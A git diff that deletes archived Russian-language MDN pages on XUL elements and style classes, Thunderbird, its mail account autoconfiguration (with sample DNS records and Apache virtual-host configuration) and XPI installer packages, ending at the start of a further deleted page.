- <a href="ru/XUL/broadcasterset">broadcasterset</a><br>
- <a href="ru/XUL/button">button</a><br>
- <a href="ru/XUL/browser">browser</a><br>
- <a href="ru/XUL/checkbox">checkbox</a><br>
- <a href="ru/XUL/caption">caption</a><br>
- <a href="ru/XUL/colorpicker">colorpicker</a><br>
- <a href="ru/XUL/column">column</a><br>
- <a href="ru/XUL/columns">columns</a><br>
- <a href="ru/XUL/commandset">commandset</a><br>
- <a href="ru/XUL/command">command</a><br>
- <a href="ru/XUL/conditions">conditions</a><br>
- <a href="ru/XUL/content">content</a><br>
- <a href="ru/XUL/datepicker">datepicker</a><br>
- <a href="ru/XUL/deck">deck</a><br>
- <a href="ru/XUL/description">description</a><br>
- <a href="ru/XUL/dialog">dialog</a><br>
- <a href="ru/XUL/dialogheader">dialogheader</a><br>
- <a href="ru/XUL/dropmarker">dropmarker</a><br>
- <a href="ru/XUL/editor">editor</a><br>
- <a href="ru/XUL/grid">grid</a><br>
- <a href="ru/XUL/grippy">grippy</a><br>
- <a href="ru/XUL/groupbox">groupbox</a><br>
- <a href="ru/XUL/hbox">hbox</a><br>
- <a href="ru/XUL/iframe">iframe</a><br>
- <a href="ru/XUL/image">image</a><br>
- <a href="ru/XUL/key">key</a><br>
- <a href="ru/XUL/keyset">keyset</a><br>
- <a href="ru/XUL/label">label</a><br>
- <a href="ru/XUL/listbox">listbox</a><br>
- <a href="ru/XUL/listcell">listcell</a><br>
- <a href="ru/XUL/listcol">listcol</a><br>
- <a href="ru/XUL/listcols">listcols</a><br>
- <a href="ru/XUL/listhead">listhead</a><br>
- <a href="ru/XUL/listheader">listheader</a></p>
- </td>
- <td>
- <p><a href="ru/XUL/listitem">listitem</a><br>
- <a href="ru/XUL/member">member</a><br>
- <a href="ru/XUL/menu">menu</a><br>
- <a href="ru/XUL/menubar">menubar</a><br>
- <a href="ru/XUL/menuitem">menuitem</a><br>
- <a href="ru/XUL/menulist">menulist</a><br>
- <a href="ru/XUL/menupopup">menupopup</a><br>
- <a href="ru/XUL/menuseparator">menuseparator</a><br>
- <a href="ru/XUL/notification">notification</a><br>
- <a href="ru/XUL/notificationbox">notificationbox</a><br>
- <a href="ru/XUL/observes">observes</a><br>
- <a href="ru/XUL/overlay">overlay</a><br>
- <a href="ru/XUL/page">page</a><br>
- <a href="ru/XUL/panel">panel</a><br>
- <a href="ru/XUL/popup">popup</a><br>
- <a href="ru/XUL/popupset">popupset</a><br>
- <a href="ru/XUL/preference">preference</a><br>
- <a href="ru/XUL/preferences">preferences</a><br>
- <a href="ru/XUL/prefpane">prefpane</a><br>
- <a href="ru/XUL/prefwindow">prefwindow</a><br>
- <a href="ru/XUL/progressmeter">progressmeter</a><br>
- <a href="ru/XUL/radio">radio</a><br>
- <a href="ru/XUL/radiogroup">radiogroup</a><br>
- <a href="ru/XUL/resizer">resizer</a><br>
- <a href="ru/XUL/richlistbox">richlistbox</a><br>
- <a href="ru/XUL/richlistitem">richlistitem</a><br>
- <a href="ru/XUL/row">row</a><br>
- <a href="ru/XUL/rows">rows</a><br>
- <a href="ru/XUL/rule">rule</a><br>
- <a href="ru/XUL/scale">scale</a><br>
- <a href="ru/XUL/script">script</a><br>
- <a href="ru/XUL/scrollbar">scrollbar</a><br>
- <a href="ru/XUL/scrollbox">scrollbox</a><br>
- <a href="ru/XUL/scrollcorner">scrollcorner</a><br>
- <a href="ru/XUL/separator">separator</a><br>
- <a href="ru/XUL/spacer">spacer</a><br>
- <a href="ru/XUL/spinbuttons">spinbuttons</a><br>
- <a href="ru/XUL/splitter">splitter</a><br>
- <a href="ru/XUL/stack">stack</a><br>
- <a href="ru/XUL/statusbar">statusbar</a></p>
- </td>
- <td>
- <p><a href="ru/XUL/statusbarpanel">statusbarpanel</a><br>
- <a href="ru/XUL/stringbundle">stringbundle</a><br>
- <a href="ru/XUL/stringbundleset">stringbundleset</a><br>
- <a href="ru/XUL/tab">tab</a><br>
- <a href="ru/XUL/tabbrowser">tabbrowser</a><br>
- <a href="ru/XUL/tabbox">tabbox</a><br>
- <a href="ru/XUL/tabpanel">tabpanel</a><br>
- <a href="ru/XUL/tabpanels">tabpanels</a><br>
- <a href="ru/XUL/tabs">tabs</a><br>
- <a href="ru/XUL/template">template</a><br>
- <a href="ru/XUL/textnode">textnode</a><br>
- <a href="ru/XUL/textbox">textbox</a><br>
- <a href="ru/XUL/textbox_(Firefox_autocomplete)">textbox (автозаполнение в Firefox)</a><br>
- <a href="ru/XUL/textbox_(Mozilla_autocomplete)">textbox (автозаполнение в Mozilla)</a><br>
- <a href="ru/XUL/timepicker">timepicker</a><br>
- <a href="ru/XUL/titlebar">titlebar</a><br>
- <a href="ru/XUL/toolbar">toolbar</a><br>
- <a href="ru/XUL/toolbarbutton">toolbarbutton</a><br>
- <a href="ru/XUL/toolbargrippy">toolbargrippy</a><br>
- <a href="ru/XUL/toolbaritem">toolbaritem</a><br>
- <a href="ru/XUL/toolbarpalette">toolbarpalette</a><br>
- <a href="ru/XUL/toolbarseparator">toolbarseparator</a><br>
- <a href="ru/XUL/toolbarset">toolbarset</a><br>
- <a href="ru/XUL/toolbarspacer">toolbarspacer</a><br>
- <a href="ru/XUL/toolbarspring">toolbarspring</a><br>
- <a href="ru/XUL/toolbox">toolbox</a><br>
- <a href="ru/XUL/tooltip">tooltip</a><br>
- <a href="ru/XUL/tree">tree</a><br>
- <a href="ru/XUL/treecell">treecell</a><br>
- <a href="ru/XUL/treechildren">treechildren</a><br>
- <a href="ru/XUL/treecol">treecol</a><br>
- <a href="ru/XUL/treecols">treecols</a><br>
- <a href="ru/XUL/treeitem">treeitem</a><br>
- <a href="ru/XUL/treerow">treerow</a><br>
- <a href="ru/XUL/treeseparator">treeseparator</a><br>
- <a href="ru/XUL/triple">triple</a><br>
- <a href="ru/XUL/vbox">vbox</a><br>
- <a href="ru/XUL/window">window</a><br>
- <a href="ru/XUL/wizard">wizard</a><br>
- <a href="ru/XUL/wizardpage">wizardpage</a></p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<h3 id=".D0.A1.D0.BC._.D1.82.D0.B0.D0.BA.D0.B6.D0.B5_.D0.BE_XUL" name=".D0.A1.D0.BC._.D1.82.D0.B0.D0.BA.D0.B6.D0.B5_.D0.BE_XUL">См. также о XUL</h3>
-
-<ul>
- <li><a href="ru/XUL/%d0%90%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82%d1%8b">Атрибуты</a>
-
- <ul>
- <li><a href="ru/XUL/%d0%93%d0%bb%d0%be%d0%b1%d0%b0%d0%bb%d1%8c%d0%bd%d1%8b%d0%b5_%d0%b0%d1%82%d1%80%d0%b8%d0%b1%d1%83%d1%82%d1%8b">применимые ко всем XUL элементам</a></li>
- </ul>
- </li>
- <li><a href="ru/XUL/%d0%a1%d0%b2%d0%be%d0%b9%d1%81%d1%82%d0%b2%d0%b0">Свойства</a></li>
- <li><a href="ru/XUL/%d0%9c%d0%b5%d1%82%d0%be%d0%b4%d1%8b">Методы</a></li>
- <li><a href="ru/XUL/%d0%a1%d0%be%d0%b1%d1%8b%d1%82%d0%b8%d1%8f">Обработчики событий</a></li>
-</ul>
-
-<p></p>
diff --git a/files/ru/mozilla/tech/xul/стили/index.html b/files/ru/mozilla/tech/xul/стили/index.html
deleted file mode 100644
index a9fbd80c13..0000000000
--- a/files/ru/mozilla/tech/xul/стили/index.html
+++ /dev/null
@@ -1,33 +0,0 @@
----
-title: Классы стилей
-slug: Mozilla/Tech/XUL/Стили
-translation_of: Archive/Mozilla/XUL/Style
----
-<p><a href="/ru/docs/XUL/Справочник" title="« XUL Справочник">« XUL Справочник</a></p>
-
-<ul>
- <li><code><a href="https://developer.mozilla.org/ru/docs/XUL/Стили/alert-icon">alert-icon</a></code></li>
- <li><a href="/en/XUL/Style/chromeclass-toolbar" title="en/XUL/Style/chromeclass-toolbar">chromeclass-toolbar</a></li>
- <li><a href="/en/XUL/Style/error-icon" title="en/XUL/Style/error-icon">error-icon</a></li>
- <li><a href="/en/XUL/Style/groove" title="en/XUL/Style/groove">groove</a></li>
- <li><a href="/en/XUL/Style/header" title="en/XUL/Style/header">header</a></li>
- <li><a href="/en/XUL/Style/indent" title="en/XUL/Style/indent">indent</a></li>
- <li><a href="/en/XUL/Style/listcell-iconic" title="en/XUL/Style/listcell-iconic">listcell-iconic</a></li>
- <li><a href="/en/XUL/Style/listitem-iconic" title="en/XUL/Style/listitem-iconic">listitem-iconic</a></li>
- <li><a href="/en/XUL/Style/menuitem-iconic" title="en/XUL/Style/menuitem-iconic">menuitem-iconic</a></li>
- <li><a href="/en/XUL/Style/menuitem-non-iconic" title="en/XUL/Style/menuitem-non-iconic">menuitem-non-iconic</a></li>
- <li><a href="/en/XUL/Style/message-icon" title="en/XUL/Style/message-icon">message-icon</a></li>
- <li><a href="/en/XUL/Style/monospace" title="en/XUL/Style/monospace">monospace</a></li>
- <li><a href="/en/XUL/Style/plain" title="en/XUL/Style/plain">plain</a></li>
- <li><a href="/en/XUL/Style/question-icon" title="en/XUL/Style/question-icon">question-icon</a></li>
- <li><a href="/en/XUL/Style/small-margin" title="en/XUL/Style/small-margin">small-margin</a></li>
- <li><a href="/en/XUL/Style/statusbarpanel-iconic" title="en/XUL/Style/statusbarpanel-iconic">statusbarpanel-iconic</a></li>
- <li><a href="/en/XUL/Style/statusbarpanel-iconic-text" title="en/XUL/Style/statusbarpanel-iconic-text">statusbarpanel-iconic-text</a></li>
- <li><a href="/en/XUL/Style/statusbarpanel-menu-iconic" title="en/XUL/Style/statusbarpanel-menu-iconic">statusbarpanel-menu-iconic</a></li>
- <li><a href="/en/XUL/Style/text-link" title="en/XUL/Style/text-link">text-link</a></li>
- <li><a href="/en/XUL/Style/thin" title="en/XUL/Style/thin">thin</a></li>
- <li><a href="/en/XUL/Style/tree-splitter" title="en/XUL/Style/tree-splitter">tree-splitter</a></li>
- <li><a href="/en/XUL/Style/treecol-image" title="en/XUL/Style/treecol-image">treecol-image</a></li>
-</ul>
-
-<p></p>
diff --git a/files/ru/mozilla/thunderbird/index.html b/files/ru/mozilla/thunderbird/index.html
deleted file mode 100644
index 64f01ed0c2..0000000000
--- a/files/ru/mozilla/thunderbird/index.html
+++ /dev/null
@@ -1,75 +0,0 @@
----
-title: Thunderbird
-slug: Mozilla/Thunderbird
-tags:
- - NeedsTranslation
- - TopicStub
- - thunderbird
-translation_of: Mozilla/Thunderbird
----
-<p><span class="seoSummary"><strong>Thunderbird</strong> is Mozilla's mail/messaging application. These pages document Thunderbird and also provide links to documentation about the <a href="/en-US/docs/tag/MailNews" title="tag/MailNews">MailNews</a> backend which is also used in other projects such as <a href="http://wiki.mozilla.org/Penelope">Eudora/Penelope</a>, <a href="http://www.seamonkey-project.org/">Seamonkey</a>, <a href="http://nkreeger.com/correo/">Correo</a>, etc.</span></p>
-
-<p>Thunderbird is Firefox's kid sibling, and is built on the same technical platform as the web browser. In development for many years, and currently one of the most popular open source email clients, it is used by millions of people around the world to bring together all their email accounts, newsgroup and feed reading in a familiar high-productivity environment.  (From early 2007 to early 2011 Thunderbird was developed by <a class="link-https" href="https://en.wikipedia.org/wiki/Mozilla_Messaging" title="https://en.wikipedia.org/wiki/Mozilla_Messaging">Mozilla Messaging</a>, a subsidiary that was owned by Mozilla.)</p>
-
-<table class="topicpage-table">
- <tbody>
- <tr>
- <td>
- <h2 class="Documentation" id="Documentation" name="Documentation">Документация</h2>
-
- <dl>
- <dt><a href="https://developer.mozilla.org/en-US/docs/Simple_Thunderbird_build" title="Simple Thunderbird build">Building Thunderbird</a></dt>
- <dd>Information about building Thunderbird with the <a href="/en-US/docs/comm-central" title="comm-central">comm-central</a> repository. There's also information about <a href="/en-US/docs/How_comm-central%27s_build_system_works" title="How_comm-central's_build_system_works">how comm-central works</a>, how the <a href="/en-US/docs/Mailnews_and_Mail_code_review_requirements" title="Mailnews and Mail code review requirements">review process works</a> and how to use the <a href="/en-US/docs/Using_the_Mozilla_symbol_server" title="Using the Mozilla symbol server">Mozilla symbol server</a> to help with debugging.</dd>
- <dt><a href="/en-US/docs/MailNews_Protocols" title="MailNews_Protocols">MailNews Protocols</a></dt>
- <dd>Rough documentation about mail protocols..</dd>
- <dt><a href="/en-US/docs/DB_Views_%28message_lists%29" title="DB_Views_(message_lists)">Представление базы данных</a></dt>
- <dd>Backend information about {{ Interface("nsIMsgDBView") }} and related interfaces..</dd>
- <dt><a href="/en-US/docs/Thunderbird/Thunderbird_API_documentation" title="Thunderbird API documentation">Thunderbird API documentation</a></dt>
- <dd>Thunderbird API documentation</dd>
- <dt><a href="/en-US/docs/Extensions/Thunderbird" title="Extensions/Thunderbird/">Extension documentation</a></dt>
- <dd>Tutorials and tips for building Thunderbird extensions</dd>
- <dt><a href="/en-US/docs/Thunderbird/Thunderbird_Automated_Testing" title="Thunderbird Automated Testing">Automated Testing</a></dt>
- <dd>Details of Thunderbird's automated testing facilities</dd>
- <dt><a href="/en-US/docs/Thunderbird/Thunderbird_in_the_Enterprise" title="Thunderbird in the Enterprise">Thunderbird in the Enterprise</a></dt>
- <dd>Help with deploying Thunderbird in large organizations</dd>
- </dl>
-
- <p><span class="alllinks"><a href="/en-US/docs/tag/Thunderbird" title="tag/Thunderbird">View All...</a></span></p>
- </td>
- <td>
- <h2 class="Community" id="Community" name="Community">Сообщество</h2>
-
- <ul>
- <li>Support is handled at <a href="https://support.mozilla.org/en-US/products/thunderbird">Mozilla Support</a></li>
- <li>Extensions questions are frequently discussed on the dev-apps-thunderbird group: {{ DiscussionList("dev-apps-thunderbird", "mozilla.dev.apps.thunderbird") }}</li>
- <li>Development discussion happens on the tb-planning mailing list:
- <ul>
- <li><a class="link-https" href="https://mail.mozilla.org/listinfo/tb-planning" title="https://mail.mozilla.org/listinfo/tb-planning">subscribe</a></li>
- <li><a class="link-https" href="https://mail.mozilla.org/pipermail/tb-planning/" title="https://mail.mozilla.org/pipermail/tb-planning/">archives</a></li>
- </ul>
- </li>
- <li><a href="http://forums.mozillazine.org/viewforum.php?f=50">Mozillazine forums</a></li>
- <li><a href="http://www.mozillamessaging.com/">Mozilla Messaging web page</a></li>
- <li><a class="link-irc" href="irc://irc.mozilla.org/thunderbird">#thunderbird on irc.mozilla.org</a> (for Users)</li>
- <li><a class="link-irc" href="irc://irc.mozilla.org/maildev">#maildev on irc.mozilla.org</a> (for Developers)</li>
- <li>a list of all <a href="http://wiki.mozilla.org/Thunderbird/CommunicationChannels" title="Thunderbird communication channels">Thunderbird communication channels</a></li>
- </ul>
-
- <h2 class="Tools" id="Tools" name="Tools">Инструменты</h2>
-
- <ul>
- <li><a href="http://ted.mielczarek.org/code/mozilla/extensiondev/">Extension developer's extension</a></li>
- <li><a href="/en-US/docs/DOM_Inspector" title="DOM_Inspector">DOM Inspector</a></li>
- </ul>
-
- <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Related Topics</h2>
-
- <ul>
- <li><a href="/en-US/docs/Extensions" title="Extensions">Extensions</a></li>
- </ul>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p> </p>
diff --git a/files/ru/mozilla/thunderbird/автоконфигурация/index.html b/files/ru/mozilla/thunderbird/автоконфигурация/index.html
deleted file mode 100644
index aefa42d448..0000000000
--- a/files/ru/mozilla/thunderbird/автоконфигурация/index.html
+++ /dev/null
@@ -1,141 +0,0 @@
----
-title: Автоконфигурация в Thunderbird
-slug: Mozilla/Thunderbird/Автоконфигурация
-translation_of: Mozilla/Thunderbird/Autoconfiguration
----
-<p>Автор: Ben Bucksch<br>
- Пожалуйста, не изменяйте этот документ без согласования c автором</p>
-
-<p>Thunderbird начиная с версии 3.1 (и 3.0 в некоторых редакциях) включает в себя функционал автоконфигурации почтового аккаунта. Цель автоконфигурации состоит в том, чтобы упростить настройку подключения клиента Thunderbird к своим почтовым серверам. В большинстве случаев, пользователь лишь должен загрузить и установить Thunderbird, ввести свое настоящее имя, почтовый адрес и пароль в настройках аккаунта, и почтовый клиент полностью готов к работе для получения и отправки писем. Настолько безопасно, насколько это возможно.</p>
-
-<p>См. также:</p>
-
-<ul>
- <li><span class="link-https">для инструкций пользователя см. </span><a class="external external-icon" href="http://support.mozillamessaging.com/en-US/kb/Automatic-Account-Configuration" title="http://support.mozillamessaging.com/en-US/kb/Automatic+Account+Configuration">Automatic Account Configuration</a> в базе знаний Thunderbird</li>
- <li><a href="/en/Thunderbird/Autoconfiguration/FileFormat/HowTo" title="en/Thunderbird/Autoconfiguration/FileFormat/HowTo">описание</a> и <a href="https://wiki.mozilla.org/Thunderbird:Autoconfiguration:ConfigFileFormat" title="en/Thunderbird/Autoconfiguration/FileFormat/Definition">формат</a> файла конфигурации</li>
- <li>оригинальную <a class="link-https" href="https://wiki.mozilla.org/Thunderbird:Autoconfiguration" title="https://wiki.mozilla.org/Thunderbird:Autoconfiguration">страницу проекта на Mozilla wiki</a> <span class="tlid-translation translation" lang="ru"><span title="">для получения знаний, дизайна, реализации и деталей проекта</span></span></li>
-</ul>
-
-<p>Этот документ описывает как работает Автоконфигурация в Thunderbird и что необходимо выполнить, чтобы почтовый сервер был сконфигурирован автоматически.</p>
-
-<h1 id="Механизмы">Механизмы</h1>
-
-<p>Thunderbird получает настройки сервера различными способами, каждый из которых предназначен для различных случаев:</p>
-
-<ul>
- <li>ISPDB<br>
- ISPDB - это центральная база данных, которая в настоящий момент принадлежит коммерческой организации Mozilla Messaging, но может быть использована любым клиентом. Она содержит настройки для крупнейших почтовых провайдеров. Мы надеемся что эта база в ближайшем времени будет содержать достаточное количество информации для автоконфигурации не менее половины почтовых аккаунтов пользователей.<br>
- Эта база была добавлена из-за нашей уверенности в том, что не все почтовые провайдеры (в том числе Microsoft) сразу же добавят файлы конфигурации для Thunderbird на своих сервера.</li>
- <li>Конфигурация сервера почтового провайдера<br>
- Почтовые провайдеры имеют возможность предоставить информацию о своих настройках для пользователей, настроив автоконфигурацию на своем веб-сервере как autoconfig. &lt;домен&gt;, который просто возвращает статический XML с настройками, как описано ниже. Для более сложных настроек, когда, например, логин не отображается в почтовом адресе, XML-файл может быть также сгенерирован провайдером. В таких случаях это единственный способ получить автоматическую настройку.</li>
- <li>Файл конфигурации на жестком диске<br>
- Администраторы могут поместить файл конфигурации в установочную папку Thunderbird. Этот способ предназначен для компаний, которые устанавливают Thunderbird на компютеры своих сотрудников и хотят облегчить настройку учетной записи без необходимости настраивать конфигурацию почтового сервера. Этот метод не стоит применять в других случаях, потому что обновлять файл конфигурации весьма трудно.</li>
- <li>Подборка наугад<br>
- В тех случаях, когда определить настройки автоматически не удалось, Thunderbird пытается угадать конфигурацию, пробуя распространенные имена почтовых серверов вроде imap.&lt;domain&gt;, smtp.&lt;domain&gt;, mail.&lt;domain&gt; и так далее, и, когда сервер отвечет поддерживается ли SSL, STARTTLS и шифрование паролей (CRAM-MD5).</li>
- <li>Ручная настройка<br>
- Если все же подобрать настройки не удалось, пользователь должен ввести настройки вручную. Пользователь также имеет возможность вручную изменять настройки, даже если они были получены способами описанными выше.</li>
-</ul>
-
-<p>Все механизмы поиска используют домен почтового адреса в качестве основы для поиска. Например, для почтового адреса <a class="moz-txt-link-abbreviated link-mailto" href="mailto:fred@example.com">fred@example.com</a>, поиск выполняется в следующем порядке:</p>
-
-<ol>
- <li>проверка<em> tb-install-dir</em>/isp/example.com.xml на жестком диске</li>
- <li>проверка autoconfig.example.com</li>
- <li>поиск "example.com" в базе ISPDB</li>
- <li>поиск "MX example.com" в базе DNS, и для mx1.mail.hoster.com производится поиск "hoster.com" в базе ISPDB</li>
- <li>подборка (imap.example.com, smtp.example.com и т.д.)</li>
-</ol>
-
-<p><span class="tlid-translation translation" lang="ru"><span title="">Мы можем добавить записи DNS SRV в качестве поддерживаемого механизма в будущем, но в настоящее время этот функционал не внедряется.</span></span></p>
-
-<h1 id="Как_добавить_поддержку_для_вашего_домена">Как добавить поддержку для вашего домена</h1>
-
-<h2 id="Классификация">Классификация</h2>
-
-<p>Если вы большой почтовый провайдер (&gt; 100,000 пользователей) предоставляющий почтовые адреса только под несколько доменов типа "example.com" и "example.de", вы можете подтвердить конфигурацию в базе ISPDB или добавить конфигурационный файл на сервере.<br>
- <br>
- Если вы поддерживаете псевдонимы  почтовых адресов и имя пользователя для входа не является частью почтового адреса (например, почтовым адресом пользователя является <a class="moz-txt-link-rfc2396E link-mailto" href="mailto:hero@example.com">"hero@example.com"</a>, и IMAP/POP/SMTP логином является не "hero" и не <a class="moz-txt-link-rfc2396E link-mailto" href="mailto:hero@example.com">"hero@example.com"</a>, а "u67578"), вам необходимо настроить конфигурацию сервера, которая выполняет поиск логина по почтовому адресу.<br>
- <br>
- Если вы поддерживаете пользовательские домены, то есть вы "hoster.com", а ваши клиенты пользуются почтовыми адресами <a class="moz-txt-link-rfc2396E link-mailto" href="mailto:fred@flintstone.com">"fred@flintstone.com"</a> и <a class="moz-txt-link-rfc2396E link-mailto" href="mailto:louis@kent.com">"louis@kent.com"</a> как доменными, только с несколькими пользователями на домен, вам необходимо настроить конфигурафию сервера (или полагаться на MX записи в DNS).<br>
- <br>
- Если же вы небольшая компания устанавливающая Thunderbird на компьютеры своих работников, вы можете положить конфигурационный файл в установочную папку Thunderbird.</p>
-
-<h2 id="ISPDB">ISPDB</h2>
-
-<p>Database URL is <a class="moz-txt-link-rfc2396E link-https" href="https://live.mozillamessaging.com/autoconfig/v1.1/" title="https://live.mozillamessaging.com/autoconfig/v1.1/">&lt;https://live.mozillamessaging.com/autoconfig/v1.1/&gt;</a>, append domain name, e.g. <a class="moz-txt-link-rfc2396E link-https" href="https://live.mozillamessaging.com/autoconfig/v1.1/freenet.de" title="https://live.mozillamessaging.com/autoconfig/v1.1/freenet.de">&lt;https://live.mozillamessaging.com/autoconfig/v1.1/freenet.de&gt;</a>.<br>
- <br>
- Current process: File a bug in <a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Webtools&amp;component=ISPDB%20Database%20Entries&amp;op_sys=All&amp;rep_platform=All">Bugzilla</a>, Product "Webtools", Component "ISPDB Database Entries", with a configuration file that matches the requirements described below. Request review from bwinton, gozer or ben.bucksch.<br>
- <br>
- Future: add the configuration to the <a class="link-https" href="https://ispdb.mozillamessaging.com">ISPDB server app</a>.</p>
-
-<h2 id="Конфигурация_сервера_почтового_провайдера">Конфигурация сервера почтового провайдера</h2>
-
-<p>Given the email address <a class="moz-txt-link-rfc2396E link-mailto" href="mailto:fred@example.com">"fred@example.com"</a>, Thunderbird first checks &lt;<span class="external free"><a class="moz-txt-link-freetext external" href="http://autoconfig.example.com/mail/config-v1.xml?emailaddress=fred@example.com">http://autoconfig.example.com/mail/config-v1.1.xml?emailaddress=fred@example.com</a></span>&gt; and then <a class="moz-txt-link-rfc2396E external" href="http://example.com/.well-known/autoconfig/mail/config-v1.1.xml" title="http://example.com/.well-known/autoconfig/mail/config-v1.1.xml">&lt;http://example.com/.well-known/autoconfig/mail/config-v1.1.xml&gt;</a>.</p>
-
-<h3 id="Small_company">Small company</h3>
-
-<p>If you are a small company, you can put the XML configuration file on your web server, at URL <a class="moz-txt-link-rfc2396E external" href="http://example.com/.well-known/autoconfig/mail/config-v1.1.xml">&lt;http://example.com/.well-known/autoconfig/mail/config-v1.1.xml&gt;</a>. (This is not yet finalized and subject to change.)</p>
-
-<h3 id="Domain_hoster">Domain hoster</h3>
-
-<p>If you are an ISP that hosts domains for your customers - for example, you are hoster.com and your customer registers fancy.com or example.com, and your servers accept and serve the mail for example.com -, you should set up an autoconfig server.</p>
-
-<h4 id="DNS">DNS</h4>
-
-<p>For each customer domain, you add a DNS record (in addition to the existing MX, A www etc. DNS records):<br>
- <code>autoconfig IN A 10.2.3.4</code><br>
- or<br>
- <code>autoconfig IN CNAME autoconfig.hoster.com</code>.<br>
- ... where 10.2.3.4 and autoconfig.hoster.com are IP addresses / hostnames you own.<br>
- This allows Thunderbird to find you as hoster.</p>
-
-<p>To make the Version without an autoconfig DNS Entry work you have to make sure that example.com points to the Webserver you will place the config-v1.1.xml on.</p>
-
-<p>Example: <span style="font-family: courier new,andale mono,monospace; line-height: normal;">example.com A 10.2.3.4</span></p>
-
-<h4 id="Web_server">Web server</h4>
-
-<p>You set up a web server bound to a physical IP address. This may be on the same machine as other web servers, but the web server must be configured to the content to any requested domain.<br>
- <br>
- You must use an virtual host that match all autoconfig.* domains of your customers. In Apache terms, you can use a "ip-based virtual host". In the Apache configuration files, that means something like: Listen 10.2.3.4:80 (of course, you use a public IP address that you own)</p>
-
-<pre class="notranslate">&lt;VirtualHost 10.2.3.4:80&gt; #Must be the first and only virtual host with this ip!
-    DocumentRoot /var/www/autoconfig/
-    ServerName autoconfig.hoster.com
- &lt;Directory /var/www/autoconfig&gt;
- Order allow,deny
- allow from all
-    &lt;/Directory&gt;
-&lt;/VirtualHost&gt;</pre>
-
-<p>Place the configuration file at the URL /mail/config-v1.1.xml on that host.</p>
-
-<p>All config files must be served as <code>Content-Type: text/xml</code> (or <code>application/xml</code>), otherwise the file will be ignored. Also, they must use charset UTF-8 (esp. if there are any non-ASCII-characters).</p>
-
-<p>If you like to use name-based virtual hosts. You probably don't want to setup the autoconfig subdomain for every domain of your customers.<br>
- You can add a Rewriterule in the default virtual host (on debian /etc/apache2/sites-enabled/000-default)  to match all autoconfig.* subdomains:</p>
-
-<pre class="notranslate">&lt;VirtualHost *:80&gt; #Must be the first Virtual host
- ServerAdmin webmaster@hoster.com
- ServerName www
- DocumentRoot /var/www
- RewriteEngine On
- RewriteCond %{HTTP_HOST} ^autoconfig\. [NC]
- RewriteRule ^/(.*) http://autoconfig.hoster.com/$1 [L,R=301,NE]
- #...
-&lt;/VirtualHost&gt;
-&lt;VirtualHost *:80&gt;
-    DocumentRoot /var/www/autoconfig/
-    ServerName autoconfig.hoster.com
- &lt;Directory /var/www/autoconfig&gt;
-  Order allow,deny
- allow from all
-    &lt;/Directory&gt;
-&lt;/VirtualHost&gt;
-</pre>
-
-<h2 id="Файл_конфигурации">Файл конфигурации</h2>
-
-<p>This is described at <a href="/en/Thunderbird/Autoconfiguration/FileFormat/HowTo" title="en/Thunderbird/Autoconfiguration/FileFormat/HowTo">How to create a configuration file</a> and <a href="/en/Thunderbird/Autoconfiguration/FileFormat/Definition" title="en/Thunderbird/Autoconfiguration/FileFormat/Definition">defined</a> on the sub-pages.</p>
-
-<p>{{ languages( { "ja": "ja/Thunderbird/Autoconfiguration" } ) }}</p>
diff --git a/files/ru/mozilla/xpi/index.html b/files/ru/mozilla/xpi/index.html
deleted file mode 100644
index e85fa09433..0000000000
--- a/files/ru/mozilla/xpi/index.html
+++ /dev/null
@@ -1,33 +0,0 @@
----
-title: Кросс-платформенный модуль установщика (XPI)
-slug: Mozilla/XPI
-tags:
- - Toolkit API
- - XPInstall
- - xpi
- - Кросс-платформенный модуль установщика
- - Модули XPI
- - Установка пакетов
-translation_of: Mozilla/XPI
----
-<p><strong>Кросс-платформенный модуль установщика (XPI)</strong> - это ZIP-файл, используемый для установки пакетов, с использованием технологии <a href="/en/XPInstall" title="en/XPInstall">XPInstall</a>. <span id="result_box" lang="ru"><span>Модули XPI</span></span> ( <span id="result_box" lang="ru"><span>так называемые</span></span> "<a href="/en/Bundles" title="en/Bundles">Bundles</a>") <span id="result_box" lang="ru"><span>используются для установки широкого спектра программного обеспечения</span></span> , включая <a href="/en/Plugins" title="en/Plugins">Plugins</a>, <a href="/en/Extensions" title="en/Extensions">Extensions</a>, <a href="/en/Themes" title="en/Themes">Themes</a>, и <a class="external" href="http://www.mozilla.com/thunderbird/dictionaries.html">Thunderbird dictionaries</a>.</p>
-
-<p><span id="result_box" lang="ru"><span>XPI содержит инструкции по установке</span></span> (install.js или <a href="/en/Install_Manifests" title="en/Install_Manifests">install.rdf</a>), <span id="result_box" lang="ru"><span>а также фактическое программное обеспечение для установки</span></span>, <span id="result_box" lang="ru"><span>которое часто само упаковано как файл JAR</span></span>. <span id="result_box" lang="ru"><span>При загрузке или добавлении в диспетчер расширений XPInstall автоматически взаимодействует с инструкциями по установке, содержащимися в XPI, и устанавливает содержащееся в нем программное обеспечение.</span></span></p>
-
-<p><span id="result_box" lang="ru"><span>Архивы XPI поддерживают только файлы, хранящиеся несжатыми или сжатыми с помощью метода "deflate".</span></span></p>
-
-<div class="note">
-<p><strong>Примечание:</strong> <span id="result_box" lang="ru"><span>Начиная с {{Gecko ("2.0")}}, XPI-файлы больше не распаковываются при установке расширений.</span> <span>Вместо этого сам XPI помещается в каталог расширений, и файлы загружаются непосредственно из пакета</span></span>. <span id="result_box" lang="ru"><span>Дополнительную информацию см. в разделе</span></span> <a href="/en/Extensions/Updating_extensions_for_Firefox_4" title="en/Extensions/Updating extensions for Firefox 4">Updating extensions for Firefox 4</a>.</p>
-</div>
-
-<p><span id="result_box" lang="ru"><span>Когда файлы XPI передаются через HTTP, тип MIME application / x-xpinstall должен соответствовать расширению файла xpi.</span></span></p>
-
-<h2 id="See_Also" name="See_Also"><span class="short_text" id="result_box" lang="ru"><span>Смотрите также</span></span></h2>
-
-<ul>
- <li><a href="/en/Bundles" title="en/Bundles">Bundles</a></li>
- <li><a href="/en/XPInstall" title="en/XPInstall">XPInstall</a></li>
- <li><a href="/en/Creating_XPI_Installer_Modules" title="en/Creating_XPI_Installer_Modules">Creating XPI Installer Modules</a></li>
-</ul>
-
-<p>{{ languages( { "de": "de/XPI", "fr": "fr/XPI", "ja": "ja/XPI", "pl": "pl/XPI" } ) }}</p>
diff --git a/files/ru/mozilla/безопасность/index.html b/files/ru/mozilla/безопасность/index.html
deleted file mode 100644
index afce2ad92a..0000000000
--- a/files/ru/mozilla/безопасность/index.html
+++ /dev/null
@@ -1,29 +0,0 @@
----
